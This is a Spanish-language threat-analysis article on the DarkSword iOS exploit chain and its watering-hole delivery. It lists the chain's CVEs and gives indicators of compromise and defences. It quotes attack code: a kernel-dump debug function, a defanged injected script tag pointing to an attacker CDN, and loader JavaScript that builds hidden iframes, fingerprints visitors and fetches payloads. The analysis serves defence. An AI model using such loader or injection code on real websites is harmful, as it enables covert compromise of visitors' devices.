DarkSword representa un nuevo paso en la explotación de iOS. Activo al menos desde noviembre de 2025, esta cadena de exploits completa encadena múltiples vulnerabilidades —varias de ellas zero-days— para comprometer completamente dispositivos iOS. El grupo de espionaje ruso UNC6353, presunto responsable, lo distribuye mediante ataques de abrevadero inyectando etiquetas de script maliciosas en sitios web legítimos comprometidos. La preocupación central es la distribución: el entorno del lado del cliente de un sitio web se convierte en un vector para un exploit de estado-nación dirigido a sus visitantes.
Cómo funciona la cadena de exploits DarkSword
Los kits de exploits anteriores para iOS dependían de componentes binarios. DarkSword adopta un enfoque diferente: toda la cadena está escrita en JavaScript. Al mantenerse en JavaScript en cada etapa, los atacantes evitan las mitigaciones binarias como la Page Protection Layer (PPL) y el Secure Page Table Monitor (SPTM) de Apple. La cadena apunta a versiones de iOS en el rango 18.4-18.7 y opera a través de varias etapas que escalan desde una corrupción de memoria en el navegador hasta privilegios completos del kernel.
Etapas del exploit
| Etapa del exploit | Vulnerabilidad | Descripción | ¿Zero-day? |
|---|---|---|---|
| Ejecución remota de código (RCE) | CVE-2025-31277 / CVE-2025-43529 | Corrupción de memoria en JavaScriptCore (confusión de tipos JIT y bugs de GC). | CVE-2025-43529 era un zero-day |
| Bypass de PAC | CVE-2026-20700 | Bypass de Pointer Authentication Code en modo usuario en dyld. | Sí |
| Escape del sandbox de WebContent | CVE-2025-14174 | Corrupción de memoria en ANGLE, escapando al proceso GPU. | Sí |
| Escape del sandbox de GPU | CVE-2025-43510 | Vulnerabilidad de gestión de memoria en el kernel de iOS, pivotando a mediaplaybackd. | No |
| Escalada de privilegios | CVE-2025-43520 | Corrupción de memoria en el kernel de iOS, otorgando privilegios completos del kernel. | No |
Tras lograr el compromiso total, el exploit despliega una de tres familias de malware basadas en JavaScript: GHOSTBLADE, GHOSTKNIFE o GHOSTSABER. Estas actúan como minadores de datos y backdoors, exfiltrando iMessages, datos de carteras de criptomonedas, historial de ubicación y contraseñas WiFi guardadas.
Ejemplo de código de depuración
El código de depuración y los comentarios dejados en las cargas útiles revelan las intenciones de los autores. GHOSTBLADE incluye funciones para volcar en hexadecimal la memoria del kernel y apunta específicamente a las credenciales WiFi:
const TAG = "DarkSword-WIFI-DUMP";
function kdump(where, size, msg = "") {
LOG(`[+] ----------- ${msg} ----------`);
for (let i = 0n; i < size; i += 0x10n) {
LOG(`[+] [${i.hex()}] ${(where + i).hex()}: ${early_kread64(where + i).hex()} ${early_kread64(where + i + 8n).hex()}`);
}
}
Cómo usa DarkSword los ataques de abrevadero para infectar dispositivos iOS
UNC6353 compromete sitios web legítimos y los convierte en abrevaderos. Cuando un objetivo visita uno de estos sitios, el ataque se ejecuta silenciosamente en segundo plano sin interacción del usuario. El ataque suele comenzar con una única etiqueta inyectada que parece inofensiva en el HTML, pero que luego carga JavaScript controlado por el atacante desde un CDN de terceros.
Ejemplo (mostrado escapado para evitar incrustar una etiqueta de script real):
<script async src="hxxps://static[.]cdncounter[.]net/widgets[.]js?uhfiu27fajf2948fjfefaa42"></script>
A partir de ahí, el ataque continúa mediante operaciones en el lado del cliente. El cargador puede crear iframes ocultos de 1x1 píxeles, usar sessionStorage para rastrear y tomar huellas digitales de las víctimas, y obtener cargas útiles adicionales ofuscadas mediante XHRs síncronos. Dado que todas las acciones utilizan APIs web estándar, se mezclan con la actividad normal del navegador a menos que se monitorice el entorno del lado del cliente.
if (!sessionStorage.getItem("uid") && isTouchScreen) {
sessionStorage.setItem("uid", '1');
const frame = document.createElement("iframe");
frame.src = "frame.html?" + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = "none";
document.body.appendChild(frame);
} else {
top.location.href = "red";
}
function getJS(fname,method = 'GET') {
try {
url = fname;
print(`trying to fetch ${method} from: ${url}`);
let xhr = new XMLHttpRequest();
xhr.open("GET", `${url}` , false);
xhr.send(null);
return xhr.responseText;
} catch(e) {
print("got error in getJS: " + e);
}
}
Por qué las defensas de seguridad tradicionales no detectan DarkSword
DarkSword expone un punto ciego en la mayoría de las configuraciones de seguridad. Las defensas perimetrales, los WAFs y muchas herramientas de detección en endpoints no ven la actividad dentro del navegador. El sitio web comprometido entrega lo que parece ser un recurso normal del lado del cliente, mientras que el exploit real se carga desde un dominio de terceros. Defenderse contra estos ataques requiere visibilidad sobre la ejecución en el lado del cliente y la capacidad de detectar comportamientos anómalos del navegador.
Indicadores de compromiso
- Etiquetas de script inesperadas que cargan desde dominios desconocidos o sospechosos;
- Iframes ocultos con dimensiones de 1x1 píxeles, opacidad casi nula o posicionamiento fuera de pantalla;
- Modificaciones inusuales de sessionStorage o localStorage por parte de scripts no autorizados;
- Solicitudes XHR o Fetch que recuperan cargas útiles adicionales de JavaScript ofuscado.
Cómo defenderse contra DarkSword y los ataques de abrevadero
Apple parcheó las vulnerabilidades de DarkSword en iOS 26.3, y los usuarios deben actualizar de inmediato. Sin embargo, parchear los endpoints solo aborda una capa. Mientras los atacantes puedan comprometer sitios web legítimos y usarlos como vehículos de distribución, los ataques de abrevadero continuarán. Los operadores de sitios web deben reforzar las cadenas de suministro, monitorizar las inyecciones no autorizadas y utilizar la monitorización del lado del cliente para detectar la ejecución de scripts maliciosos antes de que desplieguen cargas útiles como DarkSword.






